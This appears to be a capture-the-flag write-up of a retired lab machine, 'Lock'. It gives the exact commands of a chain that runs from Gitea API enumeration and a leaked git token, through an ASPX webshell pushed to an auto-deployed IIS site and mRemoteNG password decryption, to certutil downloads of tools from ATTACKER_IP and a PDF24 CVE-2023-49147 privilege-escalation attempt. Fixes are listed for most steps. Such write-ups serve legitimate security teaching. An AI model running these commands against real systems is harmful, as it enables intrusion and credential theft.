Lock
Summary
Target LOCK ($TARGET) was compromised via a four-link web and credential chain. Gitea on port 3000 exposed usernames and repository names through its unauthenticated search API. A live personal access token committed to a public repository's git history was recovered and used to clone the website repository that backed the live IIS site.
Because any push to that repository deployed directly to the IIS web root with no validation gate, I uploaded an ASPX webshell and achieved unauthenticated remote code execution as the IIS app-pool identity. Through the webshell, a mRemoteNG saved-connection profile was read from ellen.freeman's AppData folder; the saved password was protected only by mRemoteNG's publicly documented default static key, allowing instant offline decryption and recovery of Gale.Dekarios's plaintext password. A credential-switching utility (RunasCs.exe) staged via the webshell provided a higher-privileged execution context, and the user flag was read from Gale.Dekarios's desktop.
An unpatched PDF24 Creator 11.15.1 installation (CVE-2023-49147) was identified as the path to full SYSTEM access via an MSI-repair oplock/symlink race; that final escalation step was not completed in this engagement run.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nxc smb $TARGETcurl -I http://$TARGET/curl -s http://$TARGET:3000/ | grep -i giteaExact commands 3
curl -s "http://$TARGET:3000/api/v1/users/search?limit=50" | python3 -m json.toolcurl -s "http://$TARGET:3000/api/v1/repos/search?limit=50" | python3 -m json.toolcurl -s http://$TARGET:3000/explore/reposFixRequire authentication for all Gitea pages and API endpointsMedium
Exact commands 3
git clone http://$TARGET:3000/ellen.freeman/dev-scripts.gitgit -C dev-scripts log --all -p | grep -Ei 'token|authorization|bearer|key|secret|password'curl -sS -H "Authorization: token $PASSWORD2" http://$TARGET:3000/api/v1/userFixRevoke the exposed Gitea token and enforce secret scanning on all future commitsCritical
Exact commands 4
git clone http://$USERNAME:$PASSWORD@$TARGET:3000/ellen.freeman/website.gitcp cmd.aspx website/cmd.aspxgit -C website add cmd.aspx && git -C website commit -m 'update' && git -C website pushcurl -sS -G --data-urlencode 'x=dir C:\Users' http://$TARGET/cmd.aspxFixDecouple the IIS web root from Gitea and validate file types before deploymentCritical
Exact commands 5
curl -sS -G --data-urlencode 'x=dir C:\Users\ellen.freeman\AppData\Roaming\mRemoteNG' http://$TARGET/cmd.aspxcurl -sS -G --data-urlencode 'x=type C:\Users\ellen.freeman\AppData\Roaming\mRemoteNG\confCons.xml' http://$TARGET/cmd.aspxgit clone https://github.com/gquere/mRemoteNG_password_decryptpython3 mRemoteNG_password_decrypt/mremoteng_decrypt.py -s "$PASSWORD4"nxc smb $TARGET -u Gale.Dekarios -p $PASSWORD3FixSet a strong mRemoteNG master password and restrict the connection profile fileHigh
Exact commands 3
python3 -m http.server 9000curl -sS -G --data-urlencode "x=certutil -urlcache -f http://$ATTACKER_IP:9000/win/RunasCs.exe C:\Windows\Temp\RunasCs.exe" http://$TARGET/cmd.aspxcurl -sS -G --data-urlencode 'x=C:\Windows\Temp\RunasCs.exe Gale.Dekarios $PASSWORD3 "cmd /c type C:\Users\gale.dekarios\Desktop\user.txt"' http://$TARGET/cmd.aspx | python3 -c 'import sys,re,html; s=sys.stdin.read(); s=re.sub(r"<[^>]*>","",s); print(html.unescape(s))'Exact commands 5
curl -sS -G --data-urlencode 'x=dir C:\_install\' http://$TARGET/cmd.aspxcurl -sS -G --data-urlencode "x=certutil -urlcache -f http://$ATTACKER_IP:9000/win/SetOpLock.exe C:\Windows\Temp\SetOpLock.exe" http://$TARGET/cmd.aspxxfreerdp /u:Gale.Dekarios /p:$PASSWORD3 /v:$TARGET /cert:ignoreC:\Windows\Temp\SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" rmsiexec.exe /fa C:\_install\pdf24-creator-11.15.1-x64.msiFixPatch PDF24 Creator to close CVE-2023-49147 and remove the installer from user-reachable pathsHigh
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 445/tcp | microsoft-ds? |
| 3000/tcp | http Golang net/http server |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |